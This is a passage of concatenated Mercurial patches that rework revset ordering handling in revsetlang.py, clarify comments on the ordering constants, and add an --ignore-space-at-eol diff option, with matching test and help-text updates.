-#
-# Transition of ordering requirement:
-#
-# 1. starts with 'define'
-# 2. shifts to 'follow' by 'x & y'
-# 3. changes back to 'define' on function call 'f(x)' or function-like
-#    operation 'x (f) y' because 'f' may have its own ordering requirement
-#    for 'x' and 'y' (e.g. 'first(x)')
-#
 anyorder = 'any'        # don't care the order
 defineorder = 'define'  # should define the order
 followorder = 'follow'  # must follow the current order
 
-# transition table for 'x & y', from the current expression 'x' to 'y'
-_tofolloworder = {
-    anyorder: anyorder,
-    defineorder: followorder,
-    followorder: followorder,
-}
-
 def _matchonly(revs, bases):
     """
     >>> f = lambda *args: _matchonly(*map(parse, args))
@@ -340,76 +324,59 @@
 
     return (op,) + tuple(_fixops(y) for y in x[1:])
 
-def _analyze(x, order):
+def _analyze(x):
     if x is None:
         return x
 
     op = x[0]
     if op == 'minus':
-        return _analyze(('and', x[1], ('not', x[2])), order)
+        return _analyze(('and', x[1], ('not', x[2])))
     elif op == 'only':
         t = ('func', ('symbol', 'only'), ('list', x[1], x[2]))
-        return _analyze(t, order)
+        return _analyze(t)
     elif op == 'onlypost':
-        return _analyze(('func', ('symbol', 'only'), x[1]), order)
+        return _analyze(('func', ('symbol', 'only'), x[1]))
     elif op == 'dagrangepre':
-        return _analyze(('func', ('symbol', 'ancestors'), x[1]), order)
+        return _analyze(('func', ('symbol', 'ancestors'), x[1]))
     elif op == 'dagrangepost':
-        return _analyze(('func', ('symbol', 'descendants'), x[1]), order)
+        return _analyze(('func', ('symbol', 'descendants'), x[1]))
     elif op == 'negate':
         s = getstring(x[1], _("can't negate that"))
-        return _analyze(('string', '-' + s), order)
+        return _analyze(('string', '-' + s))
     elif op in ('string', 'symbol'):
         return x
-    elif op == 'and':
-        ta = _analyze(x[1], order)
-        tb = _analyze(x[2], _tofolloworder[order])
-        return (op, ta, tb, order)
-    elif op == 'or':
-        return (op, _analyze(x[1], order), order)
-    elif op == 'not':
-        return (op, _analyze(x[1], anyorder), order)
     elif op == 'rangeall':
-        return (op, None, order)
-    elif op in ('rangepre', 'rangepost', 'parentpost'):
-        return (op, _analyze(x[1], defineorder), order)
+        return (op, None)
+    elif op in {'or', 'not', 'rangepre', 'rangepost', 'parentpost'}:
+        return (op, _analyze(x[1]))
     elif op == 'group':
-        return _analyze(x[1], order)
-    elif op in ('dagrange', 'range', 'parent', 'ancestor', 'relation',
-                'subscript'):
-        ta = _analyze(x[1], defineorder)
-        tb = _analyze(x[2], defineorder)
-        return (op, ta, tb, order)
+        return _analyze(x[1])
+    elif op in {'and', 'dagrange', 'range', 'parent', 'ancestor', 'relation',
+                'subscript'}:
+        ta = _analyze(x[1])
+        tb = _analyze(x[2])
+        return (op, ta, tb)
     elif op == 'relsubscript':
-        ta = _analyze(x[1], defineorder)
-        tb = _analyze(x[2], defineorder)
-        tc = _analyze(x[3], defineorder)
-        return (op, ta, tb, tc, order)
+        ta = _analyze(x[1])
+        tb = _analyze(x[2])
+        tc = _analyze(x[3])
+        return (op, ta, tb, tc)
     elif op == 'list':
-        return (op,) + tuple(_analyze(y, order) for y in x[1:])
+        return (op,) + tuple(_analyze(y) for y in x[1:])
     elif op == 'keyvalue':
-        return (op, x[1], _analyze(x[2], order))
+        return (op, x[1], _analyze(x[2]))
     elif op == 'func':
-        f = getsymbol(x[1])
-        d = defineorder
-        if f == 'present':
-            # 'present(set)' is known to return the argument set with no
-            # modification, so forward the current order to its argument
-            d = order
-        return (op, x[1], _analyze(x[2], d), order)
+        return (op, x[1], _analyze(x[2]))
     raise ValueError('invalid operator %r' % op)
 
-def analyze(x, order=defineorder):
+def analyze(x):
     """Transform raw parsed tree to evaluatable tree which can be fed to
     optimize() or getset()
 
     All pseudo operations should be mapped to real operations or functions
     defined in methods or symbols table respectively.
-
-    'order' specifies how the current expression 'x' is ordered (see the
-    constants defined above.)
     """
-    return _analyze(x, order)
+    return _analyze(x)
 
 def _optimize(x, small):
     if x is None:
@@ -425,24 +392,21 @@
     elif op == 'and':
         wa, ta = _optimize(x[1], True)
         wb, tb = _optimize(x[2], True)
-        order = x[3]
         w = min(wa, wb)
 
         # (::x and not ::y)/(not ::y and ::x) have a fast path
         tm = _matchonly(ta, tb) or _matchonly(tb, ta)
         if tm:
-            return w, ('func', ('symbol', 'only'), tm, order)
+            return w, ('func', ('symbol', 'only'), tm)
 
         if tb is not None and tb[0] == 'not':
-            return wa, ('difference', ta, tb[1], order)
-
+            return wa, ('difference', ta, tb[1])
         if wa > wb:
-            return w, (op, tb, ta, order)
-        return w, (op, ta, tb, order)
+            return w, ('flipand', tb, ta)
+        return w, (op, ta, tb)
     elif op == 'or':
         # fast path for machine-generated expression, that is likely to have
         # lots of trivial revisions: 'a + b + c()' to '_list(a b) + c()'
-        order = x[2]
         ws, ts, ss = [], [], []
         def flushss():
             if not ss:
@@ -451,7 +415,7 @@
                 w, t = ss[0]
             else:
                 s = '\0'.join(t[1] for w, t in ss)
-                y = ('func', ('symbol', '_list'), ('string', s), order)
+                y = ('func', ('symbol', '_list'), ('string', s))
                 w, t = _optimize(y, False)
             ws.append(w)
             ts.append(t)
@@ -467,37 +431,31 @@
         flushss()
         if len(ts) == 1:
             return ws[0], ts[0] # 'or' operation is fully optimized out
-        return max(ws), (op, ('list',) + tuple(ts), order)
+        return max(ws), (op, ('list',) + tuple(ts))
     elif op == 'not':
         # Optimize not public() to _notpublic() because we have a fast version
         if x[1][:3] == ('func', ('symbol', 'public'), None):
-            order = x[1][3]
-            newsym = ('func', ('symbol', '_notpublic'), None, order)
+            newsym = ('func', ('symbol', '_notpublic'), None)
             o = _optimize(newsym, not small)
             return o[0], o[1]
         else:
             o = _optimize(x[1], not small)
-            order = x[2]
-            return o[0], (op, o[1], order)
+            return o[0], (op, o[1])
     elif op == 'rangeall':
         return smallbonus, x
     elif op in ('rangepre', 'rangepost', 'parentpost'):
         o = _optimize(x[1], small)
-        order = x[2]
-        return o[0], (op, o[1], order)
+        return o[0], (op, o[1])
     elif op in ('dagrange', 'range'):
         wa, ta = _optimize(x[1], small)
         wb, tb = _optimize(x[2], small)
-        order = x[3]
-        return wa + wb, (op, ta, tb, order)
+        return wa + wb, (op, ta, tb)
     elif op in ('parent', 'ancestor', 'relation', 'subscript'):
         w, t = _optimize(x[1], small)
-        order = x[3]
-        return w, (op, t, x[2], order)
+        return w, (op, t, x[2])
     elif op == 'relsubscript':
         w, t = _optimize(x[1], small)
-        order = x[4]
-        return w, (op, t, x[2], x[3], order)
+        return w, (op, t, x[2], x[3])
     elif op == 'list':
         ws, ts = zip(*(_optimize(y, small) for y in x[1:]))
         return sum(ws), (op,) + ts
@@ -522,8 +480,7 @@
             w = 10 # assume most sorts look at changelog
         else:
             w = 1
-        order = x[3]
-        return w + wa, (op, x[1], ta, order)
+        return w + wa, (op, x[1], ta)
     raise ValueError('invalid operator %r' % op)
 
 def optimize(tree):
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -166,8 +166,7 @@
     None)
   * optimized:
   (rangeall
-    None
-    define)
+    None)
   * set:
   <spanset+ 0:10>
   0
@@ -495,8 +494,7 @@
     ('symbol', 'foo')
     (func
       ('symbol', '_notpublic')
-      None
-      any))
+      None))
   hg: parse error: can't use a key-value pair in this context
   [255]
 
@@ -538,21 +536,16 @@
     (not
       (func
         ('symbol', 'public')
-        None
-        any)
-      define)
+        None))
     ('symbol', 'generations')
-    ('symbol', '0')
-    define)
+    ('symbol', '0'))
   * optimized:
   (relsubscript
     (func
       ('symbol', '_notpublic')
-      None
-      any)
+      None)
     ('symbol', 'generations')
-    ('symbol', '0')
-    define)
+    ('symbol', '0'))
 
 resolution of subscript and relation-subscript ternary operators:
 
@@ -560,8 +553,7 @@
   * analyzed:
   (subscript
     ('symbol', 'tip')
-    ('symbol', '0')
-    define)
+    ('symbol', '0'))
   hg: parse error: can't use a subscript in this context
   [255]
 
@@ -570,8 +562,7 @@
   (relsubscript
     ('symbol', 'tip')
     ('symbol', 'rel')
-    ('symbol', '0')
-    define)
+    ('symbol', '0'))
   hg: parse error: unknown identifier: rel
   [255]
 
@@ -580,10 +571,8 @@
   (subscript
     (relation
       ('symbol', 'tip')
-      ('symbol', 'rel')
-      define)
-    ('symbol', '0')
-    define)
+      ('symbol', 'rel'))
+    ('symbol', '0'))
   hg: parse error: can't use a subscript in this context
   [255]
 
@@ -593,10 +582,8 @@
     (relsubscript
       ('symbol', 'tip')
       ('symbol', 'rel')
-      ('symbol', '0')
-      define)
-    ('symbol', '1')
-    define)
+      ('symbol', '0'))
+    ('symbol', '1'))
   hg: parse error: can't use a subscript in this context
   [255]
 
@@ -605,11 +592,9 @@
   (relsubscript
     (relation
       ('symbol', 'tip')
-      ('symbol', 'rel0')
-      define)
+      ('symbol', 'rel0'))
     ('symbol', 'rel1')
-    ('symbol', '1')
-    define)
+    ('symbol', '1'))
   hg: parse error: unknown identifier: rel1
   [255]
 
@@ -619,11 +604,9 @@
     (relsubscript
       ('symbol', 'tip')
       ('symbol', 'rel0')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     ('symbol', 'rel1')
-    ('symbol', '1')
-    define)
+    ('symbol', '1'))
   hg: parse error: unknown identifier: rel1
   [255]
 
@@ -700,20 +683,15 @@
     (or
       (list
         ('symbol', '0')
-        ('symbol', '1'))
-      define)
+        ('symbol', '1')))
     (not
-      ('symbol', '1')
-      follow)
-    define)
+      ('symbol', '1')))
   * optimized:
   (difference
     (func
       ('symbol', '_list')
-      ('string', '0\x001')
-      define)
-    ('symbol', '1')
-    define)
+      ('string', '0\x001'))
+    ('symbol', '1'))
   0
 
   $ hg debugrevspec -p unknown '0'
@@ -733,18 +711,14 @@
   (and
     (func
       ('symbol', 'r3232')
-      None
-      define)
-    ('symbol', '2')
-    define)
+      None)
+    ('symbol', '2'))
   * optimized:
-  (and
+  (flipand
     ('symbol', '2')
     (func
       ('symbol', 'r3232')
-      None
-      define)
-    define)
+      None))
   * analyzed set:
   <baseset [2]>
   * optimized set:
@@ -776,8 +750,7 @@
     None)
   * analyzed:
   (rangeall
-    None
-    define)
+    None)
   * set:
   <spanset+ 0:10>
   0
@@ -793,8 +766,7 @@
   $ try -p analyzed ':1'
   * analyzed:
   (rangepre
-    ('symbol', '1')
-    define)
+    ('symbol', '1'))
   * set:
   <spanset+ 0:2>
   0
@@ -805,9 +777,7 @@
     (or
       (list
         ('symbol', '1')
-        ('symbol', '2'))
-      define)
-    define)
+        ('symbol', '2'))))
   * set:
   <spanset+ 0:3>
   0
@@ -818,9 +788,7 @@
   (rangepre
     (and
       ('symbol', '1')
-      ('symbol', '2')
-      define)
-    define)
+      ('symbol', '2')))
   * set:
   <baseset []>
 
@@ -1643,11 +1611,8 @@
     (difference
       (range
         ('symbol', '8')
-        ('symbol', '9')
-        define)
-      ('symbol', '8')
-      define)
-    define)
+        ('symbol', '9'))
+      ('symbol', '8')))
   * set:
   <baseset+ [8, 9]>
   8
@@ -1663,8 +1628,7 @@
     ('symbol', 'only')
     (list
       ('symbol', '9')
-      ('symbol', '5'))
-    define)
+      ('symbol', '5')))
   * set:
   <baseset+ [2, 4, 8, 9]>
   2
@@ -1999,18 +1963,13 @@
     (and
       (range
         ('symbol', '3')
-        ('symbol', '0')
-        define)
+        ('symbol', '0'))
       (range
         ('symbol', '0')
-        ('symbol', '3')
-        follow)
-      define)
+        ('symbol', '3')))
     (range
       ('symbol', '2')
-      ('symbol', '1')
-      any)
-    define)
+      ('symbol', '1')))
   * set:
   <filteredset
     <filteredset
@@ -2039,13 +1998,10 @@
   (and
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (func
       ('symbol', '_list')
-      ('string', '0\x001\x002')
-      follow)
-    define)
+      ('string', '0\x001\x002')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2072,17 +2028,13 @@
   (and
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (or
       (list
         (range
           ('symbol', '0')
-          ('symbol', '1')
-          follow)
-        ('symbol', '2'))
-      follow)
-    define)
+          ('symbol', '1'))
+        ('symbol', '2'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2104,16 +2056,13 @@
       ('symbol', '_intlist')
       ('string', '0\x001\x002')))
   * optimized:
-  (and
+  (flipand
     (func
       ('symbol', '_intlist')
-      ('string', '0\x001\x002')
-      follow)
+      ('string', '0\x001\x002'))
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
-    define)
+      ('symbol', '0')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2134,13 +2083,10 @@
   (and
     (func
       ('symbol', '_intlist')
-      ('string', '0\x002\x001')
-      define)
+      ('string', '0\x002\x001'))
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      follow)
-    define)
+      ('symbol', '0')))
   * set:
   <filteredset
     <baseset [0, 2, 1]>,
@@ -2163,13 +2109,10 @@
   (and
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (func
       ('symbol', '_hexlist')
-      ('string', '*') (glob)
-      follow)
-    define)
+      ('string', '*'))) (glob)
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2187,16 +2130,13 @@
       ('symbol', '2')
       ('symbol', '0')))
   * optimized:
-  (and
+  (flipand
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      follow)
+      ('symbol', '0'))
     (func
       ('symbol', '_hexlist')
-      ('string', '*') (glob)
-      define)
-    define)
+      ('string', '*'))) (glob)
   * set:
   <baseset [0, 2, 1]>
   0
@@ -2211,13 +2151,10 @@
   (difference
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (func
       ('symbol', '_list')
-      ('string', '0\x001')
-      any)
-    define)
+      ('string', '0\x001')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2230,19 +2167,14 @@
   (difference
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (and
       (range
         ('symbol', '0')
-        ('symbol', '2')
-        any)
+        ('symbol', '2'))
       (func
         ('symbol', '_list')
-        ('string', '0\x001')
-        any)
-      any)
-    define)
+        ('string', '0\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2259,9 +2191,7 @@
     ('symbol', 'present')
     (func
       ('symbol', '_list')
-      ('string', '2\x000\x001')
-      define)
-    define)
+      ('string', '2\x000\x001')))
   * set:
   <baseset [2, 0, 1]>
   2
@@ -2284,16 +2214,12 @@
   (and
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (func
       ('symbol', 'present')
       (func
         ('symbol', '_list')
-        ('string', '0\x001\x002')
-        follow)
-      follow)
-    define)
+        ('string', '0\x001\x002'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2318,16 +2244,12 @@
   (and
     (range
       ('symbol', '0')
-      ('symbol', '2')
-      define)
+      ('symbol', '2'))
     (func
       ('symbol', 'reverse')
       (func
         ('symbol', 'all')
-        None
-        define)
-      follow)
-    define)
+        None)))
   * set:
   <filteredset
     <spanset+ 0:3>,
@@ -2355,18 +2277,14 @@
   (and
     (range
       ('symbol', '0')
-      ('symbol', '2')
-      define)
+      ('symbol', '2'))
     (func
       ('symbol', 'sort')
       (list
         (func
           ('symbol', 'all')
-          None
-          define)
-        ('string', '-rev'))
-      follow)
-    define)
+          None)
+        ('string', '-rev'))))
   * set:
   <filteredset
     <spanset+ 0:3>,
@@ -2402,16 +2320,12 @@
   (and
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (func
       ('symbol', 'first')
       (func
         ('symbol', '_list')
-        ('string', '1\x000\x002')
-        define)
-      follow)
-    define)
+        ('string', '1\x000\x002'))))
   * set:
   <filteredset
     <baseset [1]>,
@@ -2435,16 +2349,12 @@
   (difference
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (func
       ('symbol', 'last')
       (func
         ('symbol', '_list')
-        ('string', '0\x002\x001')
-        define)
-      any)
-    define)
+        ('string', '0\x002\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2477,29 +2387,21 @@
   (and
     (range
       ('symbol', '2')
-      ('symbol', '0')
-      define)
+      ('symbol', '0'))
     (range
       (func
         ('symbol', '_list')
-        ('string', '1\x000\x002')
-        define)
+        ('string', '1\x000\x002'))
       (func
         ('symbol', '_list')
-        ('string', '0\x002\x001')
-        define)
-      follow)
-    define)
+        ('string', '0\x002\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
     <baseset [1]>>
   1
 
- 'A & B' can be rewritten as 'B & A' by weight, but that's fine as long as
- the ordering rule is determined before the rewrite; in this example,
- 'B' follows the order of the initial set, which is the same order as 'A'
- since 'A' also follows the order:
+ 'A & B' can be rewritten as 'flipand(B, A)' by weight.
 
   $ try --optimize 'contains("glob:*") & (2 + 0 + 1)'
   (and
@@ -2513,16 +2415,13 @@
           ('symbol', '0')
           ('symbol', '1')))))
   * optimized:
-  (and
+  (flipand
     (func
       ('symbol', '_list')
-      ('string', '2\x000\x001')
-      follow)
+      ('string', '2\x000\x001'))
     (func
       ('symbol', 'contains')
-      ('string', 'glob:*')
-      define)
-    define)
+      ('string', 'glob:*')))
   * set:
   <filteredset
     <baseset+ [0, 1, 2]>,
@@ -2548,19 +2447,15 @@
           ('symbol', '2')
           ('symbol', '1')))))
   * optimized:
-  (and
+  (flipand
     (func
       ('symbol', '_list')
-      ('string', '0\x002\x001')
-      follow)
+      ('string', '0\x002\x001'))
     (func
       ('symbol', 'reverse')
       (func
         ('symbol', 'contains')
-        ('string', 'glob:*')
-        define)
-      define)
-    define)
+        ('string', 'glob:*'))))
   * set:
   <filteredset
     <baseset- [0, 1, 2]>,
@@ -2953,8 +2848,7 @@
   * optimized:
   (func
     ('symbol', '_list')
-    ('string', '0\x001\x002\x00-2\x00tip\x00null')
-    define)
+    ('string', '0\x001\x002\x00-2\x00tip\x00null'))
   * set:
   <baseset [0, 1, 2, 8, 9, -1]>
   0
@@ -2977,13 +2871,10 @@
     (list
       (func
         ('symbol', '_list')
-        ('string', '0\x001')
-        define)
+        ('string', '0\x001'))
       (range
         ('symbol', '2')
-        ('symbol', '3')
-        define))
-    define)
+        ('symbol', '3'))))
   * set:
   <addset
     <baseset [0, 1]>,
@@ -3010,18 +2901,14 @@
     (list
       (range
         ('symbol', '0')
-        ('symbol', '1')
-        define)
+        ('symbol', '1'))
       ('symbol', '2')
       (range
         ('symbol', '3')
-        ('symbol', '4')
-        define)
+        ('symbol', '4'))
       (func
         ('symbol', '_list')
-        ('string', '5\x006')
-        define))
-    define)
+        ('string', '5\x006'))))
   * set:
   <addset
     <addset
@@ -3048,8 +2935,7 @@
       ('symbol', '1')
       ('symbol', '2')
       ('symbol', '3')
-      ('symbol', '4'))
-    define)
+      ('symbol', '4')))
   * set:
   <addset
     <addset
@@ -3169,8 +3055,7 @@
   (or
     (list
       ('symbol', '0')
-      None)
-    define)
+      None))
   hg: parse error: missing argument
   [255]
 
@@ -3200,8 +3085,7 @@
     ('symbol', 'only')
     (list
       ('symbol', '3')
-      ('symbol', '1'))
-    define)
+      ('symbol', '1')))
   * set:
   <baseset+ [3]>
   3
@@ -3218,8 +3102,7 @@
     ('symbol', 'only')
     (list
       ('symbol', '1')
-      ('symbol', '3'))
-    define)
+      ('symbol', '3')))
   * set:
   <baseset+ []>
   $ try --optimize 'not ::2 and ::6'
@@ -3234,8 +3117,7 @@
     ('symbol', 'only')
     (list
       ('symbol', '6')
-      ('symbol', '2'))
-    define)
+      ('symbol', '2')))
   * set:
   <baseset+ [3, 4, 5, 6]>
   3
@@ -3256,8 +3138,7 @@
     ('symbol', 'only')
     (list
       ('symbol', '6')
-      ('symbol', '4'))
-    define)
+      ('symbol', '4')))
   * set:
   <baseset+ [3, 5, 6]>
   3
@@ -3273,13 +3154,11 @@
     (group
       None))
   * optimized:
-  (and
+  (flipand
     None
     (func
       ('symbol', 'ancestors')
-      ('symbol', '1')
-      define)
-    define)
+      ('symbol', '1')))
   hg: parse error: missing argument
   [255]
 
@@ -3290,15 +3169,12 @@
   (difference
     (func
       ('symbol', 'ancestors')
-      ('symbol', '6')
-      define)
+      ('symbol', '6'))
     (func
       ('symbol', 'ancestors')
       (list
         ('symbol', '4')
-        ('symbol', '1'))
-      any)
-    define)
+        ('symbol', '1'))))
   0
   1
   3
@@ -3311,13 +3187,10 @@
       ('symbol', 'ancestors')
       (list
         ('symbol', '6')
-        ('symbol', '1'))
-      define)
+        ('symbol', '1')))
     (func
       ('symbol', 'ancestors')
-      ('symbol', '4')
-      any)
-    define)
+      ('symbol', '4')))
   5
   6
 
@@ -3331,15 +3204,12 @@
       ('symbol', 'ancestors')
       (keyvalue
         ('symbol', 'set')
-        ('symbol', '6'))
-      define)
+        ('symbol', '6')))
     (func
       ('symbol', 'ancestors')
       (keyvalue
         ('symbol', 'set')
-        ('symbol', '4'))
-      any)
-    define)
+        ('symbol', '4'))))
   3
   5
   6
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503685234 25200
#      Fri Aug 25 11:20:34 2017 -0700
# Node ID dcfdf4d096638ee4c97ed4594d81b66432e760d6
# Parent  1b28525e66982a50c33a7163228afdc785e8ca58
revset: improve documentation about ordering handling

The old documentation is a bit confusing. Namely, it's unclear whether
`define` means "I should ALWAYS define a new order", or "I should SOMETIMES
define a new order", and if it's the latter, what's the difference between
`define` and `any`?

This patch clarifies that and adds more examples.

Differential Revision: https://phab.mercurial-scm.org/D523

diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -260,9 +260,10 @@
 
 # Constants for ordering requirement, used in getset():
 #
-# If 'define', any nested functions and operations can change the ordering of
-# the entries in the set. If 'follow', any nested functions and operations
-# should take the ordering specified by the first operand to the '&' operator.
+# If 'define', any nested functions and operations MAY change the ordering of
+# the entries in the set (but if changes the ordering, it MUST ALWAYS change
+# it). If 'follow', any nested functions and operations MUST take the ordering
+# specified by the first operand to the '&' operator.
 #
 # For instance,
 #
@@ -276,15 +277,28 @@
 #
 # 'any' means the order doesn't matter. For instance,
 #
-#   X & !Y
-#        ^
-#        any
+#   (X & Y) | ancestors(Z)
+#        ^              ^
+#        any            any
+#
+# For 'X & Y', 'X' decides order so the order of 'Y' does not matter. For
+# 'ancestors(Z)', Z's order does not matter since 'ancestors' does not care
+# about the order of its argument.
 #
-# 'y()' can either enforce its ordering requirement or take the ordering
-# specified by 'x()' because 'not()' doesn't care the order.
-anyorder = 'any'        # don't care the order
-defineorder = 'define'  # should define the order
-followorder = 'follow'  # must follow the current order
+# Currently, most revsets do not care about the order, so 'define' is
+# equivalent to 'follow' for them, and the resulting order is based on the
+# 'subset' parameter passed down to them:
+#
+#   m = revset.match(..., order=defineorder)
+#   m(repo, subset)
+#           ^^^^^^
+#      For most revsets, 'define' means using the order this subset provides
+#
+# There are a few revsets that always redefine the order if 'define' is
+# specified: 'sort(X)', 'reverse(X)', 'x:y'.
+anyorder = 'any'        # don't care the order, could be even random-shuffled
+defineorder = 'define'  # ALWAYS redefine, or ALWAYS follow the current order
+followorder = 'follow'  # MUST follow the current order
 
 def _matchonly(revs, bases):
     """
# HG changeset patch
# User David Soria Parra <davidsp@fb.com>
# Date 1504056050 25200
#      Tue Aug 29 18:20:50 2017 -0700
# Node ID da07367d683b32ac08c61f704a42f9df82bcda89
# Parent  dcfdf4d096638ee4c97ed4594d81b66432e760d6
mdiff: add a --ignore-space-at-eol option

Add an option that only ignores whitespaces at EOL. The name of the option is
the same as Git.

.. feature::

   Added `--ignore-space-at-eol` diff option to ignore whitespace differences
   at line endings.

Differential Revision: https://phab.mercurial-scm.org/D422

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -123,6 +123,8 @@
      _('ignore changes in the amount of white space')),
     ('B', 'ignore-blank-lines', None,
      _('ignore changes whose lines are all blank')),
+    ('Z', 'ignore-space-at-eol', None,
+     _('ignore changes in whitespace at EOL')),
 ]
 
 diffopts2 = [
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -313,6 +313,9 @@
 ``ignorews``
     Ignore white space when comparing lines.
 
+``ignorewseol``
+    Ignore white space at the end of a line when comparing lines.
+
 ``ignorewsamount``
     Ignore changes in the amount of white space.
 
diff --git a/mercurial/mdiff.py b/mercurial/mdiff.py
--- a/mercurial/mdiff.py
+++ b/mercurial/mdiff.py
@@ -63,6 +63,7 @@
         'index': 0,
         'ignorews': False,
         'ignorewsamount': False,
+        'ignorewseol': False,
         'ignoreblanklines': False,
         'upgrade': False,
         'showsimilarity': False,
@@ -97,6 +98,8 @@
         text = bdiff.fixws(text, 0)
     if blank and opts.ignoreblanklines:
         text = re.sub('\n+', '\n', text).strip('\n')
+    if opts.ignorewseol:
+        text = re.sub(r'[ \t\r\f]+\n', r'\n', text)
     return text
 
 def splitblock(base1, lines1, base2, lines2, opts):
@@ -199,7 +202,7 @@
     """
     if opts is None:
         opts = defaultopts
-    if opts.ignorews or opts.ignorewsamount:
+    if opts.ignorews or opts.ignorewsamount or opts.ignorewseol:
         text1 = wsclean(opts, text1, False)
         text2 = wsclean(opts, text2, False)
     diff = bdiff.blocks(text1, text2)
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -2282,6 +2282,7 @@
                                           'ignorewsamount')
         buildopts['ignoreblanklines'] = get('ignore_blank_lines',
                                             'ignoreblanklines')
+        buildopts['ignorewseol'] = get('ignore_space_at_eol', 'ignorewseol')
     if formatchanging:
         buildopts['text'] = opts and opts.get('text')
         binary = None if opts is None else opts.get('binary')
diff --git a/tests/test-completion.t b/tests/test-completion.t
--- a/tests/test-completion.t
+++ b/tests/test-completion.t
@@ -218,10 +218,10 @@
 Show all commands + options
   $ hg debugcommands
   add: include, exclude, subrepos, dry-run
-  annotate: rev, follow, no-follow, text, user, file, date, number, changeset, line-number, skip, ignore-all-space, ignore-space-change, ignore-blank-lines, include, exclude, template
+  annotate: rev, follow, no-follow, text, user, file, date, number, changeset, line-number, skip, ignore-all-space, ignore-space-change, ignore-blank-lines, ignore-space-at-eol, include, exclude, template
   clone: noupdate, updaterev, rev, branch, pull, uncompressed, ssh, remotecmd, insecure
   commit: addremove, close-branch, amend, secret, edit, interactive, include, exclude, message, logfile, date, user, subrepos
-  diff: rev, change, text, git, binary, nodates, noprefix, show-function, reverse, ignore-all-space, ignore-space-change, ignore-blank-lines, unified, stat, root, include, exclude, subrepos
+  diff: rev, change, text, git, binary, nodates, noprefix, show-function, reverse, ignore-all-space, ignore-space-change, ignore-blank-lines, ignore-space-at-eol, unified, stat, root, include, exclude, subrepos
   export: output, switch-parent, rev, text, git, binary, nodates
   forget: include, exclude
   init: ssh, remotecmd, insecure
diff --git a/tests/test-diff-ignore-whitespace.t b/tests/test-diff-ignore-whitespace.t
--- a/tests/test-diff-ignore-whitespace.t
+++ b/tests/test-diff-ignore-whitespace.t
@@ -407,8 +407,23 @@
   +goodbye\r (no-eol) (esc)
   world
 
+Test \r (carriage return) as used in "DOS" line endings:
+
+  $ printf 'hello world    \r\n\t\ngoodbye world\n' >foo
+
+  $ hg ndiff --ignore-space-at-eol
+  diff -r 540c40a65b78 foo
+  --- a/foo
+  +++ b/foo
+  @@ -1,2 +1,3 @@
+   hello world
+  +\t (esc)
+   goodbye world
+
 No completely blank lines to ignore:
 
+  $ printf 'hello world\r\n\r\ngoodbye\rworld\n' >foo
+
   $ hg ndiff --ignore-blank-lines
   diff -r 540c40a65b78 foo
   --- a/foo
diff --git a/tests/test-help.t b/tests/test-help.t
--- a/tests/test-help.t
+++ b/tests/test-help.t
@@ -553,6 +553,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
    -U --unified NUM         number of lines of context to show
       --stat                output diffstat-style summary of changes
       --root DIR            produce diffs relative to subdirectory
diff --git a/tests/test-qrecord.t b/tests/test-qrecord.t
--- a/tests/test-qrecord.t
+++ b/tests/test-qrecord.t
@@ -79,6 +79,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
   
   (some details hidden, use --verbose to show complete help)
 
@@ -152,6 +153,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
       --mq                  operate on patch repository
   
   (some details hidden, use --verbose to show complete help)
diff --git a/tests/test-record.t b/tests/test-record.t
--- a/tests/test-record.t
+++ b/tests/test-record.t
@@ -62,6 +62,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
   
   (some details hidden, use --verbose to show complete help)
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503359165 25200
#      Mon Aug 21 16:46:05 2017 -0700
# Node ID 47e52f079a579b652deeae2bef6b71d7f17232a6
# Parent  da07367d683b32ac08c61f704a42f9df82bcda89
